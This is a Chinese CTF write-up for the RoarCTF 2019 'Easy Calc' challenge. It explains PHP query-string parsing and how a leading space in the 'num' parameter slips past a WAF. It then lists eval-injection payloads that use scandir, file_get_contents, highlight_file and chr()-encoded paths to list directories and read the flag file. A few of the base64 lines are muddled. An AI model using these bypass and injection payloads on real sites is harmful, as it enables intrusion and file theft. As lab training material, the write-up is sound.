- WAF
Web应用程序防火墙,是一种用于保护Web应用程序的安全设备。Web应用程序是指通过Web浏览器或其他Web客户端访问的应用程序。WAF的目的是保护Web应用程序免受黑客、网络攻击和数据泄漏等安全威胁的攻击。
- 工作原理:
WAF可以通过对Web应用程序的流量进行过滤和监控,识别并阻止潜在的安全威胁。WAF可以检测Web应用程序中的各种攻击,例如SQL注入、跨站点脚本攻击(XSS)、跨站请求伪造(CSRF)等,并采取相应的措施,例如拦截请求、阻止访问、记录事件等。
WAF的工作原理通常包括以下几个步骤:
流量识别:WAF识别来自客户端的请求,并对请求进行分析。WAF可以检查请求头、请求体、Cookie、URL参数等信息,并识别其中的攻击。
攻击检测:WAF对识别的请求进行攻击检测。WAF可以使用多种技术来检测攻击,例如正则表达式、特征匹配、行为分析等。WAF可以检测多种攻击,包括SQL注入、XSS、CSRF、命令注入等。
攻击响应:WAF根据检测结果采取相应的措施,例如拦截请求、阻止访问、记录事件等。WAF可以使用多种技术来响应攻击,例如重定向、报错、拦截等。
日志记录:WAF记录所有请求和响应的详细信息,包括请求头、请求体、响应头、响应体等。WAF可以将日志发送给中央日志管理系统,以便进行分析和审计。
- file_get_contents函数
file_get_contents漏洞是指在使用PHP函数file_get_contents()时,未对用户输入进行过滤或验证,导致攻击者可以通过构造恶意URL或文件路径来获取服务器上的敏感信息或执行恶意代码的安全漏洞。这种漏洞可能会导致服务器被入侵、数据泄露等安全问题。
因此,file_get_contents()函数使用时,应对用户输入进行严格的过滤和验证,以确保服务器的安全。
- 无参rce
参考文章有:无参数读文件和RCE总结 - 知乎
-
利用scandir()列出目录和文件,var_dump()用于输出
scandir()
函数返回指定目录中的文件和目录的数组。scandir(/)
相当于ls /
var_dump()
相当于echo
- 利用PHP的字符串解析特性Bypass
参考文章:利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST,查询字符串在解析的过程中会将某些字符删除或用下划线代替
PHP查询字符串的解析特性也可用以绕过WAF
- phpinfo函数
参考文章:phpinfo()函数(常用)_lituxiu的博客-CSDN博客
phpinfo函数可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一,只要访问到phpinfo()函数的web页面,即返回php的所有相关信息
- PHP chr函数的运用
参考文章:PHP chr() 函数
运行结果为:
将43换成其16进制执行,也能得到同样的结果
- ASCII表如下:
这里值得注意的是:
- 数字0-9是由ASCII码48-57
- 大写字母A-Z是由ASCII码65-90
- 小写字母a-z是由ASCII码97-122
查看题目源代码
有如下发现:
尝试访问calc.php
GET传入一个num,并且对num的值进行黑名单过滤,最后eval()执行
但是他实际过滤的比他列出的黑名单的还要多
我们尝试在num前加一个空格去绕过WAF
大概就是只允许num的值为数字
这里借用沐目_01的了解
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
那我们只需绕过WAF对num的检测即可。用到PHP的字符串解析特性。
我们在num前加一个空格就行
我们可以采用如下来绕过得到flag
scandir()
函数返回指定目录中的文件和目录的数组。scandir(/)
相当于ls /
var_dump()
相当于echo
? num=
var_dump(scandir(/))
相当于
? num=var_dump(scandir(chr(47)))
或者
? num=print_r(scandir(chr(47)));
相当于
?num=system(ls /)
找到
f1agg
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)相当于/f1agg
所以
我们可以用file_get_contents
? num=file_get_contents(/f1agg)
相当于
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
或者
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
相当于
? num=system(cat /f1agg)
得到f1agg
也可以用highlight_file,用var_dump打印
? num=var_dump(highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
还可以用base64编码绕过
? num=file_get_contents(base64_decode("/f1agg"));
? num=file_get_contents(base64_decode("/f1agg"));
相当于
? num=file_get_contents(base64_decode(chr(34).chr(76).chr(50).chr(89).chr(120).chr(89).chr(87).chr(100).chr(110).chr(34)));
参考wp有:
[RoarCTF 2019]Easy Calc_c4fx的博客-CSDN博客